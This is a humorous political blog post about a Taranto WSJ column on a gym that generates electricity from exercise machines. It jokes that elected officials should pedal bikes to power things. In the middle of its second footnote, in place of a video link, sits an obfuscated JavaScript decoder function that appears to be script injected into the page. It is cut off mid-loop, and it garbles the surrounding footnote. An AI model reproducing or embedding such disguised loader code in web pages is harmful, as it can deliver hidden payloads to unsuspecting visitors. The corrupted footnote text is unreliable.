There may be a way to curb and cut the spending by elected officials; make them work for it.
James Taranto's column[1. We've found James Taranto's Wall Street Journal column, Taranto's take on recent news and event, an informative and entertaining read, and do recommend it to others. ] in Wall Street Journal Friday included the following section:
Click to read Taranto's column; this section entitled "It's People!"
Taranto's conclusion?
"According to ElectricChoice.com, residential power in Denton, where UNT is located, sells for between 8.52 cents and 11.35 cents a kilowatt-hour. The more expensive plans, are 'green' ones, natch, so let's use the latter figure as our basis. At the rate of 1 kilowatt hour every two days, the machines will have paid for themselves by 2976."
As the calculation shows, using elliptical machines and stationary bikes to generate electricity is like the majority of proposed "alternative energy" ideas; they are pre-industrial technologies being sold as innovation (think Dutch windmills and today's wind energy). They will not and cannot replace current sources of energy unless or until today's technology is made prohibitively expensive [2. "Energy costs up because that's Obama's policy"We linked to a Washington Examiner editorial entitled. The article quotes then-candidate Obama's interview with the San Franciso Chronicle in 2008. Watch the YouTube video of the interview by clicking function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
So much for goin' green in the gym[3. James Taranto references the University of Northern Texas' ReRev program. Click here to visit the ReRev website.] as a successful idea.
But...
One of Taranto's readers, R.D., made a proposal that we rather like:
Faster! Faster!
We think R.D. is thinking too small here; why not make all politicians do this? For instance, we recommend the installation of a stationary bike in the Lincoln Mayor's office. Mr. Beutler practically has a love affair with bicycles, so it seems like a good fit. (See this April 4 report by Ch. 10/11 in Lincoln as just one example.)
We like this idea so much, we have some suggestions for music for the CSPAN and the local cable access stations' government channels. How about a new version of "Mustang Sally"? Instead of "Ride, Sally, Ride", it could be "Ride, Congress, Ride" or "Ride, Mayor, Ride", played during the shots of elected officials pedaling. Perhaps for Mayor Beutler, Queen's "Bicycle Race"? Now, who wouldn't watch that?
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Additional Notes...
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A Saturday Night Live's Soylent Green skit featuring Phil Hartman as Charleton Heston.
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